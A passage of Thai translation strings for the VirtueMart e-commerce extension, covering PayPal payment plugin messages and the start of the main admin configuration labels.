ยังไม่ได้ถูกกำหนด กรุณากำหนดค่าพารามิเตอร์นี้ในส่วนของรูปแบบวิธีการชำระเงินด้วย Paypal ของคุณ" VMPAYMENT_PAYPAL_MIN_AMOUNT="จำนวนขั้นต่ำ" VMPAYMENT_PAYPAL_MIN_AMOUNT_EXPLAIN="จำนวนการสั่งซื้อขั้นต่ำที่สามารถใช้วิธีการชำระเงินในรูปแบบนี้ได้" VMPAYMENT_PAYPAL_NAME="ชื่อของวิธีการชำระเงิน" VMPAYMENT_PAYPAL_NO_SHIPPING="ผู้ซื้อพร้อมแจ้งที่อยู่เพื่อการจัดส่ง" VMPAYMENT_PAYPAL_NO_SHIPPING_DESC="ผู้ซื้อพร้อมแจ้งที่อยู่เพื่อการจัดส่ง" VMPAYMENT_PAYPAL_NO_SHIPPING_DO_NOT_PROMPT="ยังไม่พร้อมที่จะให้ที่อยู่" VMPAYMENT_PAYPAL_NO_SHIPPING_PROMPT="พร้อมแจ้งที่อยู่ แต่ไม่ต้องอย่างใดอย่างหนึ่ง" VMPAYMENT_PAYPAL_NO_SHIPPING_PROMPT_REQUIRE="พร้อมแจ้งที่อยู่ และต้องการอย่างใดอย่างหนึ่ง" VMPAYMENT_PAYPAL_ONLYVERIFIED="ยอมรับเฉพาะผู้ซื้อที่ตรวจสอบแล้ว?" VMPAYMENT_PAYPAL_ONLYVERIFIED_EXPLAIN="ตอนนี้คุณสามารถเลือก หากคุณต้องการจะยอมรับ การชำระเงินจากลูกค้าโดยการ ตรวจสอบ บัญชี ระบบเพย์พาล (เมื่อไหร่บัญชีไม่ได้รับการตรวจสอบ ระบบเพย์พาลจะไม่โอนเงิน และพวกเขาจะไม่รับประกันความเสียหายใดๆ ทั้งสิ้นของการขาย )" VMPAYMENT_PAYPAL_ORDER_NUMBER="หมายเลขคำสั่งซื้อ" VMPAYMENT_PAYPAL_PARAMS="พารามิเตอร์ของ PAYPAL" VMPAYMENT_PAYPAL_PARAMS_DESC="พารามิเตอร์ของ Paypal" VMPAYMENT_PAYPAL_PAYMENT_AMOUNT_INCORRECT="จำนวนเงินที่ต้องชำระสำหรับ Paypal ไม่ถูกต้อง" VMPAYMENT_PAYPAL_PAYMENT_CANCELLED="คุณได้ยกเลิกการชำระเงินของคุณ" VMPAYMENT_PAYPAL_PAYMENT_INFO="" VMPAYMENT_PAYPAL_PAYMENT_NAME="ชื่อการชำระเงิน" VMPAYMENT_PAYPAL_PAYMENT_ORDER_TOTAL="จำนวนคำสั่งซื้อทั้งหมดได้ถูกส่งไปถึง Paypal แล้ว" VMPAYMENT_PAYPAL_PAYMENT_PAGE="กลับไปที่ร้านค้า" VMPAYMENT_PAYPAL_PAYMENT_PRICE="การชำระเงิน" VMPAYMENT_PAYPAL_PAYMENT_SETTINGS="พารามิเตอร์" VMPAYMENT_PAYPAL_PAYMENT_STATUS_CANCELED="การชำระเงินสำหรับรายการสั่งซื้อ %s ล้มเหลว สาเหตุ:" VMPAYMENT_PAYPAL_PAYMENT_STATUS_CONFIRMED="ได้รับการยืนยันการชำระเงินสำหรับใบสั่งสินค้า %s ด้วย ระบบ เพย์พาล\n" VMPAYMENT_PAYPAL_PAYMENT_STATUS_PENDING="การชำระเงินสำหรับใบสั่งสินค้า %s อยู่ระหว่างการพิจารณา. เหตุผล :\n" VMPAYMENT_PAYPAL_PAYMENT_TITLE="PAYPAL" VMPAYMENT_PAYPAL_PAYMENT_TOTAL_CURRENCY="จำนวนเงินรวมในสกุลเงินที่ใช้ในการชำระเงิน" VMPAYMENT_PAYPAL_PAYMENT_WARNING="คำเตือน - ใน VM2 ผู้ขาย และผู้ซื้อจะได้รับเฉพาะอีเมล์เมื่อธุรกรรมเสร็จสมบูรณ์" VMPAYMENT_PAYPAL_PENDING_REASON_FE_ADDRESS="คุณไม่มีที่อยู่ที่จัดส่งที่ยืนยัน" VMPAYMENT_PAYPAL_PENDING_REASON_FE_AUTHORIZATION="การดำเนินการชำระเงินถูกตั้งค่าเพื่อการอนุญาต" VMPAYMENT_PAYPAL_PENDING_REASON_FE_DEFAULT="การชำระเงินอยู่ระหว่างการพิจารณา" VMPAYMENT_PAYPAL_PENDING_REASON_FE_ECHECK="การชำระเงินถูกพิจารณาเนื่องจากถูกทำ โดยการ eCheck ที่ยังไม่มีการเคลียร์" VMPAYMENT_PAYPAL_PENDING_REASON_FE_INTL="การชำระเงินอยู่ระหว่างการพิจารณาเนื่องจากร้านค้าไม่มีบัญชีในสหรัฐอเมริกา" VMPAYMENT_PAYPAL_PENDING_REASON_FE_MULTI_CURRENCY="ร้านค้าจะยอมรับการชำระเงินด้วยตนเองสำหรับสกุลเงินนี้" VMPAYMENT_PAYPAL_PENDING_REASON_FE_ORDER="คุณตั้งค่าการดำเนินการชำระเงินเพื่อสั่งซื้อและไม่มีเงินทุนสำรอง" VMPAYMENT_PAYPAL_PENDING_REASON_FE_UNILATERAL="การชำระเงินอยู่ระหว่างการพิจารณาเนื่องจากเกิดจากการกระทำโดย ที่อยู่อีเมล์ที่ยังไม่ได้ลงทะเบียน หรือยืนยัน" VMPAYMENT_PAYPAL_PLEASE_WAIT="กรุณารอสักครู่ในระหว่างการเปลี่ยนเส้นทางไปที่ %s" VMPAYMENT_PAYPAL_REDIRECT_MESSAGE="กรุณารอสักครู่ กำลังเปลี่ยนเส้นทางไปที่ PayPal" VMPAYMENT_PAYPAL_RESPONSE_BUSINESS="ที่อยู่อีเมล์หรือหมายเลขบัญชีของผู้รับชำระเงิน" VMPAYMENT_PAYPAL_RESPONSE_CASE_CREATION_DATE="วันที่และเวลาของเรื่องร้องเรียนได้ถูกบันทึกแล้ว" VMPAYMENT_PAYPAL_RESPONSE_CASE_ID="หมายเลขประจำตัวเรื่องร้องเรียน" VMPAYMENT_PAYPAL_RESPONSE_CASE_TYPE="ประเภทของเรื่องร้องเรียน" VMPAYMENT_PAYPAL_RESPONSE_CASE_TYPE_CHARGEBACK="ผู้ซื้อถูกปฏิเสธการชำระเงินด้วยบริษัทบัตรเครดิตของผู้ซื้อ ซึ่งได้รับการแจ้งเตือนจาก PayPal ด้วยเหตุผลของการปฏิเสธการชำระเงินบางประการ" VMPAYMENT_PAYPAL_RESPONSE_CASE_TYPE_COMPLAINT="ผู้ซื้อได้บันทึกคำร้องเรียนผ่านทาง PayPal Resolution Center" VMPAYMENT_PAYPAL_RESPONSE_CASE_TYPE_DISPUTE="ผู้ซื้อและผู้ขายได้โพสต์ข้อความสื่อสารระหว่างกันผ่านทาง Resolution Center เพื่อพยายามที่จะแก้ไขปัญหาต่างๆโดยปราศจากการแทรกแซงโดย PayPal" VMPAYMENT_PAYPAL_RESPONSE_FIRST_NAME="ชื่อของลูกค้า" VMPAYMENT_PAYPAL_RESPONSE_INVOICE="ใบกำกับสินค้า" VMPAYMENT_PAYPAL_RESPONSE_LAST_NAME="นามสกุลของลูกค้า" VMPAYMENT_PAYPAL_RESPONSE_MC_CURRENCY="สกุลเงิน" VMPAYMENT_PAYPAL_RESPONSE_MC_FEE="ค่าธรรมการทำธุรกรรม" VMPAYMENT_PAYPAL_RESPONSE_MC_GROSS="ครบจำนวน ของการชำระเงินของลูกค้า" VMPAYMENT_PAYPAL_RESPONSE_NOTIFICATION="การแจ้งเตือน" VMPAYMENT_PAYPAL_RESPONSE_PARENT_TXN_ID="หมายเลขประจำตัวรายการธุรกรรมต้นฉบับดั้งเดิม" VMPAYMENT_PAYPAL_RESPONSE_PAYER_EMAIL="ที่อยู่อีเมลหลักของลูกค้า" VMPAYMENT_PAYPAL_RESPONSE_PAYER_ID="รหัสเฉพาะของลูกค้า" VMPAYMENT_PAYPAL_RESPONSE_PAYMENT_DATE="วันที่/เวลา ของ IPN" VMPAYMENT_PAYPAL_RESPONSE_PAYMENT_STATUS="สถานะการชำระเงิน" VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON="พิจารณาเหตุผล" VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_ADDRESS="การชำระเงินอยู่ระหว่างการพิจารณาเนื่องจากลูกค้าของคุณไม่ได้แจ้งที่อยู่จัดส่งและยืนยันการการชำระเงินแก่คุณ การตั้งค่า ของคุณ ช่วยให้คุณสามารถจะยอมรับหรือปฏิเสธการชำระเงินแต่ละครั้งได้ เมื่อต้องการเปลี่ยนการตั้งค่าของคุณไปที่ส่วนการตั้งค่าโปรไฟล์ของคุณ" VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_AUTHORIZATION="การดำเนินการชำระเงินถูกตั้งค่าให้อนุญาต และมีเงินที่ยังไม่สำรองไว้" VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_ECHECK="การชำระเงินอยู่ระหว่างการพิจารณาเป็นเพราะมันถูกทำขึ้นโดย eCheck ที่ยังไม่เคลียร์ยัง" VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_INTL="การชำระเงินอยู่ระหว่างการพิจารณาเพราะคุณถือบัญชีไม่ใช่ของสหรัฐฯและไม่ได้มีกลไกการเบิกถอน คุณต้องยอมรับหรือปฏิเสธการการชำระเงินมาจากรายละเอียดบัญชีของคุณ" VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_MULTI_CURRENCY="คุณไม่ได้รับยอดเงินในสกุลเงินที่ส่งไปและคุณไม่ได้มีการตั้งค่าการชำระเงินของคุณที่ได้รับการตั้งค่าโดยอัตโนมัติและยอมรับการชำระเงิน คุณต้องยอมรับหรือปฏิเสธการชำระเงิน" VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_ORDER="คุณสามารถตั้งค่าการดำเนินการชำระเงินการสั่งซื้อและมีเงินที่ยังไม่สำรองไว้" VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_OTHER="การชำระเงินอยู่ระหว่างการพิจารณาด้วยเหตุผลอื่นนอกเหนือจากที่ระบุไว้ข้างต้น สำหรับข้อมูลเพิ่มเติมโปรดติดต่อฝ่ายบริการลูกค้าของ ระบบเพย์พาล" VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_PAYMENTREVIEW="การชำระเงินอยู่ระหว่างการพิจารณาในขณะที่มันจะถูกตรวจสอบโดย ระบบเพย์พาลสำหรับความเสี่ยงนี้" VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_UNILATERAL="การชำระเงินอยู่ระหว่างการพิจารณาเพราะมันถูกสร้างขึ้นมาจากอีเมล์ที่ไม่ได้ลงทะเบียนหรือได้รับการยืนยัน" VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_UPGRADE="การชำระเงินอยู่ระหว่างการพิจารณาเป็นเพราะมันถูกสร้างขึ้นมาผ่านทางบัตรเครดิตและคุณจะต้องอัปเกรดบัญชีของคุณเพื่อธุรกิจหรือสถานะให้เป็นพรีเมียร์ในการสั่งซื้อจึงจะได้รับเงินคืน นอกจากนี้ยังสามารถอัพเกรดได้ หมายความว่าคุณได้มาถึงขีด จำกัด รายเดือนสำหรับการทำธุรกรรมในบัญชีของคุณ" VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_VERIFY="การชำระเงินอยู่ระหว่างการพิจารณาเพราะคุณยังไม่ได้ยืนยัน คุณต้องตรวจสอบบัญชีของคุณก่อนที่คุณจะสามารถยอมรับการชำระเงิน" VMPAYMENT_PAYPAL_RESPONSE_PROTECTION_ELIGIBILITY="สิทธิ" VMPAYMENT_PAYPAL_RESPONSE_REASON_CODE="เหตุผลสำหรับเรื่องร้องเรียน" VMPAYMENT_PAYPAL_RESPONSE_REASON_CODE_ADJUSTMENT_REIMBURSE=": เรื่องร้องเรียนที่ได้รับการแก้ไขและปิดคดีแล้ว จำเป็นต้องมีการชดเชยค่าตอบแทน" VMPAYMENT_PAYPAL_RESPONSE_REASON_CODE_DUPLICATE="ผู้ซื้อได้ร้องเรียนว่ามีการชำระเงินให้กับผู้ประกอบการซ้ำซ้อน" VMPAYMENT_PAYPAL_RESPONSE_REASON_CODE_MERCHANDISE="ผู้ซื้อร้องเรียนว่าได้รับสินค้าที่บกพร่อง, บุบสลาย, หรือไม่ได้รับความพึงพอใจในตัวสินค้า" VMPAYMENT_PAYPAL_RESPONSE_REASON_CODE_NON_RECEIPT="ผู้ซื้อร้องเรียนว่าไม่ได้รับสินค้าหรือบริการ" VMPAYMENT_PAYPAL_RESPONSE_REASON_CODE_NOT_AS_DESCRIBED="ผู้ซื้อร้องเรียนว่าสินค้าหรือบริการที่ได้รับ แตกต่างจากคำอธิบายของสินค้าหรือบริการที่ผู้ประกอบการได้อธิบายไว้" VMPAYMENT_PAYPAL_RESPONSE_REASON_CODE_SPECIAL="สำหรับสาเหตุอื่นๆ, โดยปกติแล้ว, จะชี้เฉพาะไปที่ข้อผิดพลาดในการประมวลผลบัตรเครดิตซึ่งผู้ประกอบการไม่มีส่วนรับผิดชอบ และไม่มีเงินฝากเข้าไปในบัญชีของผู้ประกอบการ PayPal ต้องตรวจทานเอกสารประกอบจากบริษัทเจ้าของบัตรเครดิตเพื่อกำหนดลักษณะของข้อผิดพลาดและติดต่อกับผู้ประกอบการเพื่อแก้ไขปัญหาดังกล่าว" VMPAYMENT_PAYPAL_RESPONSE_REASON_CODE_UNAUTHORIZED="ไม่มีสิทธิ์" VMPAYMENT_PAYPAL_RESPONSE_RECEIVER_EMAIL="ที่อยู่อีเมลหลักของชื่อผู้รับการชำระเงิน" VMPAYMENT_PAYPAL_RESPONSE_RESIDENCE_COUNTRY="รหัสประเทศ ISO 3166" VMPAYMENT_PAYPAL_RESPONSE_TAX="ภาษี" VMPAYMENT_PAYPAL_RESPONSE_TRANSACTION_SUBJECT="ชื่อรายการการทำธุรกรรม" VMPAYMENT_PAYPAL_RESPONSE_TXN_ID="หมายเลขประจำตัวรายการธุรกรรม" VMPAYMENT_PAYPAL_RESPONSE_TXN_TYPE="ประเภทของรหัส IPN รายการธุรกรรม" VMPAYMENT_PAYPAL_RESPONSE_TXN_TYPE_ADJUSTMENT="เรื่องร้องเรียนได้ถูกแก้ไขปัญหาและปิดคดีลงแล้ว" VMPAYMENT_PAYPAL_RESPONSE_TXN_TYPE_NEW_CASE="มีเรื่องร้องเรียนใหม่ถูกแจ้ง" VMPAYMENT_PAYPAL_RESPONSE_TXN_TYPE_SEND_MONEY="ได้รับการชำระเงินแล้ว; แหล่งที่มาคือแท็บการส่งเงินจากเว็บไซต์ PayPal" VMPAYMENT_PAYPAL_RESPONSE_TXN_TYPE_VIRTUAL_TERMINAL="ได้รับการชำระเงินแล้ว; แหล่งที่มาคือสถานีจำลองปลายทาง" VMPAYMENT_PAYPAL_RESPONSE_TXN_TYPE_WEB_ACCEPT="การชำระเงินถูกส่งโดยลูกค้าของคุณผ่านทาง รายการสั่งซื้อสินค้าแบบเดี่ยว หรือ การบริจาค" VMPAYMENT_PAYPAL_RESTRICTIONS="ข้อจำกัด" VMPAYMENT_PAYPAL_SANDBOX="หลุมทราย (Sandbox)" VMPAYMENT_PAYPAL_SANDBOX_DESC="หลุมทราย (Sandbox)" VMPAYMENT_PAYPAL_SANDBOX_MERCHANT="อีเมลผู้ประกอบการสำหรับใช้ในหลุมทราย" VMPAYMENT_PAYPAL_SANDBOX_MERCHANT_DESC="อีเมล์ผู้ประกอบการสำหรับใช้ในหลุมทราย" VMPAYMENT_PAYPAL_SANDBOX_PARAMS="ค่าพารามิเตอร์ของหลุมทราย Sandbox ใน Paypal" VMPAYMENT_PAYPAL_SANDBOX_PARAMS_DESC="ค่าพารามิเตอร์ของหลุมทราย Sandbox ใน Paypal" VMPAYMENT_PAYPAL_SHIPMENT_PRICE="การจัดส่ง" VMPAYMENT_PAYPAL_STATUS_FAILED="สถานะคำสั่งซื้อสำหรับการทำธุรกรรมที่ล้มเหลว" VMPAYMENT_PAYPAL_STATUS_FAILED_EXPLAIN="เลือกสถานะการสั่งซื้อสำหรับการทำธุรกรรมระบบ เพย์พาล ล้มเหลว" VMPAYMENT_PAYPAL_STATUS_PENDING="สถานะการสั่งซื้อสำหรับรายการทำธุรกรรมที่อยู่ระหว่างรอดำเนินการ" VMPAYMENT_PAYPAL_STATUS_PENDING_EXPLAIN="สถานะการสั่งซื้อที่สั่งซื้อเป็นชุด มีการทำธุรกรรมทางการเงินยังไม่มีการแล้วเสร็จ การทำธุรกรรมไม่ได้ถูกยกเลิกไปในกรณีนี้ แต่มันเป็นเพียงการรอและรอให้เสร็จ" VMPAYMENT_PAYPAL_STATUS_SUCCESS="สถานะการสั่งซื้อสำหรับรายการการทำธุรกรรมที่เสร็จเรียบร้อย" VMPAYMENT_PAYPAL_STATUS_SUCCESS_EXPLAIN="เลือกสถานะการสั่งซื้อที่สั่งซื้อจริงจะถูกตั้งค่า ถ้า IPN ระบบ เพย์พาล ประสบความสำเร็จ ถ้าใช้ตัวเลือกในการขายการดาวน์โหลด: เลือกสถานะที่ช่วยให้ดาวน์โหลด (แล้วลูกค้าจะได้รับแจ้งเกี่ยวกับการดาวน์โหลดผ่านทาง อีเมล์)" VMPAYMENT_PAYPAL_TAX="ภาษี" VMPAYMENT_PAYPAL_TAX_EXPLAIN="ภาษีสำหรับนำไปใช้กับค่าธรรมเนียม" VMPAYMENT_PAYPAL_THANKYOU="ขอขอบคุณสำหรับการชำระเงิน" VMPAYMENT_PAYPAL_UNKNOW_ORDER_ID="ไม่ทราบรหัสสั่งซื้อ" VMPAYMENT_PAYPAL_USER_CANCEL="การชำระเงินถูกยกเลิกโดยผู้ใช้" VMPAYMENT_PAYPAL_VIRTUEMART_PARAMS="ค่าพารามิเตอร์ VirtueMart" VMPAYMENT_PAYPAL_VIRTUEMART_PARAMS_DESC="ค่าพารามิเตอร์ VirtueMart" ;VMPAYMENT_PAYPAL_SANDBOX_CUSTOMER="Merchant Sandbox Email" ;VMPAYMENT_PAYPAL_SANDBOX_CUSTOMER_DESC="Merchant Sandbox Email"PK@y>\ P'language/th-TH/th-TH.com_virtuemart.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM COM_VIRTUEMART="VirtueMart" COM_VIRTUEMART_ABOUT="เกี่ยวกับ" COM_VIRTUEMART_ACCESS_FORBIDDEN="ไม่ได้รับอนุญาต ให้เข้าถึงในส่วนนี้" COM_VIRTUEMART_ADD="เพิ่ม" COM_VIRTUEMART_ADDRESS="ที่อยู่" COM_VIRTUEMART_ADD_COMMENT="เพิ่มความเห็น" COM_VIRTUEMART_ADD_RATING="เพิ่มความนิยม" COM_VIRTUEMART_ADD_SHIPTO_1="เพิ่มใหม่" COM_VIRTUEMART_ADD_SHIPTO_2="ที่อยู่เพื่อจัดส่ง" COM_VIRTUEMART_ADMIN="แผงควบคุม" COM_VIRTUEMART_ADMIN_CFG_ACCOUNT_ACTIVATION="จำเป็นต้องยืนยันบัญชีลูกค้าใหม่?" COM_VIRTUEMART_ADMIN_CFG_ADDTOCART_POPUP="ดูข้อมูลในหน้าต่างป๊อปอัพเมื่อเพิ่มสินค้าเข้ารถเข็น" COM_VIRTUEMART_ADMIN_CFG_ADDTOCART_POPUP_EXPLAIN="หากเลือก, คุณจะเห็นหน้าต่างปีอปอัพ 'facebox' โผล่ขึ้นมาเมื่อเพิ่มสินค้าเข้าไปยังรถเข็น หรือไม่จะเป็นการเปลี่ยนเส้นทางไปยังหน้าสินค้าในรถเข็น" COM_VIRTUEMART_ADMIN_CFG_AGREE_TERMS_ONORDER="จำเป็นต้องยื่นยันเงื่อนไขการบริการของทุกการสั่งซื้อ?" COM_VIRTUEMART_ADMIN_CFG_AGREE_TERMS_ONORDER_EXPLAIN="เลือกถ้าคุณต้องการให้ลูกค้าตกลงกับเงื่อนไขการบริการของทุกการสั่งชื้อ​ (ก่อนทำการสั่งซื้อ) " COM_VIRTUEMART_ADMIN_CFG_ALLOW_REGISTRATION="อนุญาตให้มีการสมัครสมาชิกใหม่?" COM_VIRTUEMART_ADMIN_CFG_ASSETS_GENERAL_PATH="ตำแหน่งพาธทั่วไปสำหรับจัดเก็บข้อมูล" COM_VIRTUEMART_ADMIN_CFG_ASSETS_GENERAL_PATH_EXPLAIN="เป็นตำแหน่งพาธที่ใช้เก็บไฟล์ทรัพยากรต่างๆใน com_virtuemart" COM_VIRTUEMART_ADMIN_CFG_AUTOMATIC_PAYMENT="เปิดใช้วิธีการจ่ายเงินอัตโนมัติ?" COM_VIRTUEMART_ADMIN_CFG_AUTOMATIC_PAYMENT_EXPLAIN="เมื่อเปิดใช้วิธีการจ่ายงินแบบอัตโนมัติ ถ้ามีวิธีการจ่ายเงินแค่วิธีเดียว ระบบนี้ก็จะเลือกวิธีการชำระเงินให้อัตโนมัติ.
            ถ้าวิธีการจ่ายเงินอัตโนมัติมิได้ถูกเลือกไว้ ถึงแม้ว่าจะมีวิธีการจ่ายเงินเพียงวิธีเดียวก็ตาม ระบบก็จะเปิดหน้าใหม่ขึ้นมา มันจะเป็นประโยชน์อย่างยิ่งถ้าวิธีการจ่ายเงินได้ถูกระบุบจากผู้ใช้" COM_VIRTUEMART_ADMIN_CFG_AUTOMATIC_SHIPMENT="เปิดใช้การส่งสินค้าอัตโนมัติ?" COM_VIRTUEMART_ADMIN_CFG_AUTOMATIC_SHIPMENT_EXPLAIN="เมื่อเปิดใช้การส่งสินค้าอัตโนมัติ ถ้ามีวิธีการส่งสินค้าเพียงแบบเดียว ระบบนี้จะเลือกวิธีการส่งสินค้าให้อัตโนมัติ
            หากวิธีการจัดส่งอัตโนมัติมิได้ถูกเลือกไว้ ถึงแม้ว่าจะมีวิธีการส่งสินค้าเพียงแบบเดียว ระบบก็จะเปิดหน้าใหม่ขึ้นมา มันจะเป็นประโยชน์อย่างยิ่งถ้าวิธีการจัดส่งสินค้าได้ถูกระบุจากผู้ใช้" COM_VIRTUEMART_ADMIN_CFG_CATEGORIES_PER_ROW="ตัวเลขจำนวนหมวดหมู่เริ่มต้น" COM_VIRTUEMART_ADMIN_CFG_CATEGORIES_PER_ROW_EXPLAIN="ในส่วนนี้จะเป็นการกำหนดตัวเลขจำนวนหมวดหมู่ในแต่ละบรรทัด
            " COM_VIRTUEMART_ADMIN_CFG_CATEGORY_LAYOUT="เลย์เอ้าท์ หมวดหมู่t" COM_VIRTUEMART_ADMIN_CFG_CATEGORY_LAYOUT_EXPLAIN="ส่วนนี้คือรูปแบบ (เลย์เอ้าท์) เริ่มต้นสำหรับการแสดงผลตามหมวดหมู่" COM_VIRTUEMART_ADMIN_CFG_CATEGORY_TEMPLATE="เทมเพลต หมวดหมู่" COM_VIRTUEMART_ADMIN_CFG_CATEGORY_TEMPLATE_EXPLAIN="เป็นการกำหนดเทมเพลตเริ่มต้นของหมวดหมู่ใช้ในการแสดงรายการผลิตภัณฑ์ในแต่ละหมวดหมู่
            " COM_VIRTUEMART_ADMIN_CFG_CHECKOUTTAB="ชำระเงิน" COM_VIRTUEMART_ADMIN_CFG_CHECKOUT_SETTINGS="ตั้งค่าการ ชำระเงิน" COM_VIRTUEMART_ADMIN_CFG_DANGEROUS_TOOLS="เปิดให้สามารถใช้งานเครื่องมือสำหรับอัพเดทฐานข้อมูลได้" COM_VIRTUEMART_ADMIN_CFG_DANGEROUS_TOOLS_EXPLAIN="ส่วนนี้เป็นส่วนที่คุณสามารถเปิดใช้งานเครื่องมือต่างๆ ซึ่งถูกเขียนขึ้นมาสำหรับใช้ในการทดสอบและถอนการติดตั้ง เครื่องมือเหล่านั้นใช้สำหรับรีเซ็ตค่าร้านค้าในส่วนของเงื่อนไขต่างๆในการติดตั้ง ใช้เครื่องมือเหล่านี้หลังจากที่มีการใช้งานเครื่องมือที่อันตราย การกำหนดค่าดังกล่าวจะคืนค่ากลับไปเป็นปกติอีกครั้งหนึ่ง" COM_VIRTUEMART_ADMIN_CFG_DATEFORMAT="รูปแบบวันที่ของร้านค้า" COM_VIRTUEMART_ADMIN_CFG_DATEFORMAT_EXPLAIN="รูปแบบวันที่เริ่มต้นที่ร้านค้าจะใช้ เช่น : %m/%d/%y." COM_VIRTUEMART_ADMIN_CFG_DEBUG="ตรวจสอบข้อผิดพลาด?" COM_VIRTUEMART_ADMIN_CFG_DEBUG_EXPLAIN="เปิดใช้งาน แสดงการตรวจแก้จุดบกพร่อง,ซึ่งจะทำให้หน้าการตรวจแก้จุดบกพร่องที่จะแสดงที่ด้านล่างของแต่ละหน้า ที่เป็นประโยชน์มากในระหว่างการพัฒนาร้านค้าเพราะมันแสดงให้เห็นถึงละเอียดแบบสินในรถเข็นยังไงอย่างงั้น, แบบฟอร์มของค่าข้อมูลที่เกี่ยวข้อง อื่น ๆ" COM_VIRTUEMART_ADMIN_CFG_DEBUG_IP_ADDRESS="หมายเลขไอพีเครื่องสำหรับโปรแกรมไคลเอนต์" COM_VIRTUEMART_ADMIN_CFG_DEBUG_IP_ADDRESS_EXPLAIN="ถ้าคุณเปิดใช้ตัวเลือกนี้ และป้อนที่อยู่ไอพี (IP address) ที่นี่ ดังนั้นการแสดงผลของตรวจแก้จุดบกพร่องจะถูกเปิดใช้งานเฉพาะไอพีของลูกค้ารายนี้เท่านั้น จะไม่สามารถมองเห็นการแสดงผลของตรวจแก้จุดบกพร่องลูกค้ารายอื่น ๆ ได้" COM_VIRTUEMART_ADMIN_CFG_DOWNLOADABLETAB="ดาวน์โหลด" COM_VIRTUEMART_ADMIN_CFG_DOWNLOADROOT="ตำแหน่งพาธไฟล์ดาวน์โหลด" COM_VIRTUEMART_ADMIN_CFG_DOWNLOADROOT_EXPLAIN="ตำแหน่งจัดเก็บไฟล์ที่แท้จริงสำหรับให้ผู้ซื้อดาวน์โหลดสินค้า ( (ใส่เครื่องหมาย / แนบท้าย!)
            " COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_EXPIRE="หมดอายุ การดาวน์โหลด" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_EXPIRE_EXPLAIN="ตั้งค่าช่วงเวลาวินาทีที่ดาวน์โหลดจะถูกเปิดใช้งานสำหรับผู้บริโภค" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_KEEP_STOCKLEVEL="รักษาระดับสต็อกสินค้าในการซื้อหรือไม่" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_KEEP_STOCKLEVEL_TIP="เมื่อเปิดใช้งาน,ระดับสต็อกที่ถูกดาวน์โหลด สินค้าจะไม่ลดลงแม้ว่ามันจะถูกซื้อโดยผู้บริโภค " COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_MAX="จำนวนดาวน์โหลดสูงสุด" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_MAX_EXPLAIN="กำหนดจำนวนครั้งในดาวน์โหลดที่จะสามารถโหลดได้ในแต่ละรายการที่ซื้อ" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_SETTINGS="ตั้งค่า ดาวน์โหลด" COM_VIRTUEMART_ADMIN_CFG_DYNAMIC_THUMBNAIL_RESIZING="เปิดใช้งานการปรับขนาดแบบเชิงซ้อน?" COM_VIRTUEMART_ADMIN_CFG_DYNAMIC_THUMBNAIL_RESIZING_TIP="ถ้าการตรวจสอบ,คุณเปิดใช้งานการปรับขนาดรูปแบบไดนามิก ซึ่งหมายความ ว่า รูปขนาดย่อทั้งหมดจะถูกปรับขนาดให้พอดีกับขนาดที่คุณให้ไว้ด้านล่าง" COM_VIRTUEMART_ADMIN_CFG_ENABLE_CONTENT_PLUGIN="เปิดใช้งานปลั๊กอินสำหรับ Joomla!" COM_VIRTUEMART_ADMIN_CFG_ENABLE_CONTENT_PLUGIN_EXPLAIN="เปิดใช้งานโปรแกรมเสริมเนื้อหาของจูมล่า คำอธิบายสินค้า ไม่ควรจะเลือกไว้ถ้าคุณไม่ได้ใช้โปรแกรมเสริมเนื้อหาของจูมล่า" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG="เปิดให้มีการแสดงข้อความตรวจสอบข้อผิดพลาด" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_ADMIN="เฉพาะผู้ดูแลระบบเท่านั้น" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_ALL="สำหรับทั้งหมด" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_EXPLAIN="เลือกว่าต้องการให้แสดงข้อความตรวจสอบข้อผิดพลาดไปที่ใคร" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_NONE="ไม่ต้องแสดงข้อความแจ้งข้อผิดพลาด" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DOWNLOADS="เปิดให้มีการดาวน์โหลดได้" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DOWNLOADS_EXPLAIN="ตรวจสอบเพื่อเปิดใช้งานความสามารถในการดาวน์โหลด เฉพาะในกรณีที่คุณต้องการจะขายสินค้าที่ดาวน์โหลดได้" COM_VIRTUEMART_ADMIN_CFG_ENABLE_ENGLISH="ชุดข้อความสตริงก์ที่ยังไม่ได้ถูกแปลในภาษาอังกฤษ" COM_VIRTUEMART_ADMIN_CFG_ENABLE_ENGLISH_EXPLAIN="โหลดไฟล์ภาษาอังกฤษ, เพื่อหลีกเลี่ยงไม่ให้ชุดข้อความสตริงก์ที่ยังไม่ได้ถูกแปลแสดงข้อความเป็นรหัส" COM_VIRTUEMART_ADMIN_CFG_ENABLE_GOOGLE_JQUERY="ใช้ไลบรารี่ Jquery ของ Google จากภายนอก" COM_VIRTUEMART_ADMIN_CFG_ENABLE_GOOGLE_JQUERY_EXPLAIN="การใช้ไลบรารี google ภายนอก ปรับปรุงความเร็วหน้า" COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX="เปิดใช้งาน 